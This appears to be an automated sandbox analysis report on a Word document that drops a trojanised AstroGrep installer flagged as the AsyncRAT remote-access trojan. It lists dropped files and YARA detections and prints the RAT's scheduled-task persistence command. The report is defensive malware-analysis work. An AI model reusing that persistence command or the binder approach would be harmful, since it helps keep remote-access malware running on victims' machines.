ThisGeneral Public License applies to most of the Free SoftwareFoundation's software and to any other program whose authors commit tousing it. (Some other Free Software Foundation software is covered bythe GNU Library General Public License instead.) You can apply it toyour programs too. When we speak of free software we are referring to freedom notprice. Our General Public Licenses are designed to make sure that youhave the freedom to distribute copies of free software (and charge forthis service if you wish) that you receive source code or can get itif you want it that you can change the software or use pieces of itin new free programs; and that you know you can do these things. To protect your rights we need to make restrictions that forbidanyone to deny you these rights or to ask you to surrender the rights.These restrictions translate to certain responsibilities for you if youdistribute copies of the software or if you modify it. For example if you distribute copies of such a program whethergratis or for a fee you must give the recipients all the rights thatyou have. You must make sure that they too receive or can get thesource code. And you must show them these terms so they know theirrights. We protect your rights with two steps: (1) copyright the software and(2) offer you this license which gives you legal permission to copydistribute and/or modify the software. Also for each author's protection and ours we want to make certainthat everyone understands that there is no warranty for this freesoftware. If the software is modified by someone else and passed on wewant its recipients to know that what they have is not the original sothat any problems introduced by others will not reflect on the originalauthors' reputations. Finally any free program is threatened constantly by softwarepatents. We wish to avoid the danger that redistributors of a freeprogram will individually obtain patent licenses in effect making theprogram proprietary. To prevent this we have made it clear that anypatent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying distribution andmodification follow. GNU GENERAL PUBLIC L
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Window detected: < &BackI &AgreeCancelNullsoft Install System v3.0rc1 Nullsoft Install System v3.0rc1License AgreementPlease review the license terms before installing AstroGrep v4.4.7.Press Page Down to see the rest of the agreement. GNU GENERAL PUBLIC LICENSE Version 2 June 1991 Copyright (C) 1989 1991 Free Software Foundation Inc. 59 Temple Place Suite 330 Boston MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document but changing it is not allowed. Preamble The licenses for most software are designed to take away yourfreedom to share and change it. By contrast the GNU General PublicLicense is intended to guarantee your freedom to share and change freesoftware--to make sure the software is free for all its users. ThisGeneral Public License applies to most of the Free SoftwareFoundation's software and to any other program whose authors commit tousing it. (Some other Free Software Foundation software is covered bythe GNU Library General Public License instead.) You can apply it toyour programs too. When we speak of free software we are referring to freedom notprice. Our General Public Licenses are designed to make sure that youhave the freedom to distribute copies of free software (and charge forthis service if you wish) that you receive source code or can get itif you want it that you can change the software or use pieces of itin new free programs; and that you know you can do these things. To protect your rights we need to make restrictions that forbidanyone to deny you these rights or to ask you to surrender the rights.These restrictions translate to certain responsibilities for you if youdistribute copies of the software or if you modify it. For example if you distribute copies of such a program whethergratis or for a fee you must give the recipients all the rights thatyou have. You must make sure that they too receive or can get thesource code. And you must show them these terms so they know theirrights. We protect your rights with two steps: (1) copyright the software and(2) offer you this license which gives you legal permission to copydistribute and/or modify the software. Also for each author's protection and ours we want to make certainthat everyone understands that there is no warranty for this freesoftware. If the software is modified by someone else and passed on wewant its recipients to know that what they have is not the original sothat any problems introduced by others will not reflect on the originalauthors' reputations. Finally any free program is threatened constantly by softwarepatents. We wish to avoid the danger that redistributors of a freeprogram will individually obtain patent licenses in effect making theprogram proprietary. To prevent this we have made it clear that anypatent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying distribution andmodification follow. GNU GENERAL PUBLIC L

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: astro-grep-setup.exe.doc

Static file information: File size 1446736 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\Users\DarkCoderSc\Desktop\Celesty Binder\Stub\STATIC\Stub.pdb source: ms.exe, 00000002.00000000.2386968747.0000000000B79000.00000002.00020000.sdmp
Source:	Binary string: C:\projects\nlog\src\NLog\obj\Release\net40-client\NLog.pdbSHA256 source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp
Source:	Binary string: &C:\Users\DarkCoderSc\Desktop\Celesty Binder\Stub\STATIC\Stub.pdb source: ms.exe, 00000002.00000000.2386968747.0000000000B79000.00000002.00020000.sdmp
Source:	Binary string: C:\projects\nlog\src\NLog\obj\Release\net40-client\NLog.pdb source: ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: ASTRO-GREP.EXE.2.dr, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: astro-grep.exe.3.dr, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.2.astro-grep.exe.190000.0.unpack, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 12.0.astro-grep.exe.190000.0.unpack, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 14.0.astro-grep.exe.190000.0.unpack, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 14.2.astro-grep.exe.190000.0.unpack, duhmNwaErqILFY/ZoByeBhDIf.cs	.Net Code: TdPzjIJpIFBoTqd System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\ProgramData\Memsys\ms.exe

Code function: 2_2_00B76260 LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_00B76260

Source: ASTROGREP_SETUP_V4.4.7.EXE.2.dr	Static PE information: real checksum: 0x0 should be: 0xea31c
Source: ms.exe.0.dr	Static PE information: real checksum: 0x105a08 should be: 0x31c25
Source: astro-grep.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0xff1e
Source: AstroGrep.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x900c7
Source: ASTRO-GREP.EXE.2.dr	Static PE information: real checksum: 0x0 should be: 0xff1e

Source: C:\ProgramData\Memsys\ms.exe	Code function: 2_2_00B74485 push ecx; ret	2_2_00B74498
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_00927399 push es; ret	3_2_00927608
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_0092711F push cs; iretd	3_2_00927202
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_00922F81 push eax; ret	3_2_00922F95
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_0092710D push cs; iretd	3_2_00927202
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_00924122 push eax; ret	3_2_0092412C
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Code function: 3_2_00922A66 push 0000003Eh; retn 0000h	3_2_00922DC0
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_00197399 push es; ret	12_2_00197608
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_0019711F push cs; iretd	12_2_00197202
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_0019710D push cs; iretd	12_2_00197202
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_00192F81 push eax; ret	12_2_00192F95
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_00194122 push eax; ret	12_2_0019412C
Source: C:\Users\user\AppData\Roaming\astro-grep.exe	Code function: 12_2_00192A66 push 0000003Eh; retn 0000h	12_2_00192DC0

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\LangDLL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	File created: C:\Users\user\AppData\Roaming\astro-grep.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\ICSharpCode.AvalonEdit.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\ProgramData\Memsys\ms.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\AstroGrep.Common.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\NLog.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\AstroGrep.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\StartMenu.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\libAstroGrep.dll	Jump to dropped file
Source: C:\ProgramData\Memsys\ms.exe	File created: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe	Jump to dropped file
Source: C:\ProgramData\Memsys\ms.exe	File created: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\Uninstall.exe	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\ProgramData\Memsys\ms.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\license.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\Program Files (x86)\AstroGrep\readme.txt			Jump to behavior

Boot Survival:

Yara detected AsyncRAT

Show sources

Source: Yara match	File source: 12.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.astro-grep.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ASTRO-GREP.EXE.24afcd8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b7f330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.ms.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.ms.exe.b7f330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2441547401.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2447425472.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2450569517.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501813179.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2389222840.0000000000922000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2652015747.0000000000192000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2441758985.00000000024AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2386988323.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ASTRO-GREP.EXE PID: 2432, type: MEMORY
Source: Yara match	File source: Process Memory Space: astro-grep.exe PID: 2468, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\astro-grep.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Memsys\ms.exe, type: DROPPED

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn 'astro-grep' /tr ''C:\Users\user\AppData\Roaming\astro-grep.exe''

Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AstroGrep	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AstroGrep\AstroGrep.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AstroGrep\Uninstall AstroGrep.lnk	Jump to behavior

Source: C:\Users\user\AppData\Roaming\astro-grep.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Memsys\ms.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
